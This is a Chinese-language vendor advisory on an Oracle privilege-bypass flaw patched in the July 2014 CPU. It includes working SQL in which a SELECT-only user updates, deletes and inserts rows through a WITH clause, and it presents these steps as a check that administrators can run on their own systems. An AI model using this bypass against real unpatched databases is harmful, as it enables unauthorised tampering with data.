最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影

各位用户,最近在互联网上暴露出一个Oracle的高危漏洞,利用该漏洞,仅有查询权限的用户可以对数据进行增、删、改操作,非常危险。该漏洞影响范围非常广泛,包括在国内最常见的11.2.0.3,11.2.0.4,12.1等版本。

该漏洞在2014年7月的CPU中被修正,但是如果用户未应用该CPU,则漏洞仍然存在。强烈建议您检查所有Oracle数据库,确认是否存在该安全风险。

云和恩墨在自己的测试环境中重现了该漏洞,云和恩墨的测试环境包括11.2.0.3,11.2.0.4,12.1.0.1这5个版本。您也可以通过以下步骤,检查数据库是否存在该漏洞。

(注:以下步骤仅供参考,原则上不会对数据库有任何影响,但是对于在生产环境中执行以下SQL可能产生的风险云和恩墨不负有任何责任)

1.首先创建基本测试用户,仅仅授予创建会话权限

SQL> create user test_update identified by test_update;

User created.

SQL> grant create session to test_update;

Grant succeeded.

2.将表查询权限赋予用户,注意很多产品环境中都存在类似设置

SQL> grant select on t to test_update;

Grant succeeded.

SQL> select count(*) from t;

COUNT(*)

----------

100

3.使用测试用户连接,验证普通的增、删、改权限被拒绝

SQL> conn test_update/test_update

Connected.

SQL> select * from enmo.t where rownum = 1;

ID

----------

1

SQL> update enmo.t set id = 1 where id = 1;

update enmo.t set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

4.在WITH语句中,权限限制被完全绕过,增删改权限被获得

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 0 where id = 1;

1 row updated.

SQL> commit;

Commit complete.

SQL> delete (with temp as (select * from enmo.t) select id from temp) where id = 2;

1 row deleted.

SQL> insert into (with temp as (select * from enmo.t) select * from temp) select 2 from enmo.t where id =3;

1 row created.

5.在Oracle的CPU中,2014年7月的CPU中修改了该问题

由于很多用户不清楚CPU内容,,并未应用,所以产生高危的影响。以下是应用该CPU之后,应有的权限反应。

SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1;

update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1

*

ERROR at line 1:

ORA-01031: insufficient privileges

警告:由于很多用户对CPU安全补丁关注不足,所以系统中可能存在此高危风险,建议用户关注该漏洞,并及时采取相应举措。与此有关的CVE号包括:CVE-2013-3751、CVE-2014-4236、CVE-2014-4237、CVE-2014-4245、CVE-2013-3774 .

相关信息还可以参考Oracle的CPU页面:

本文永久更新链接地址

09-15 13:01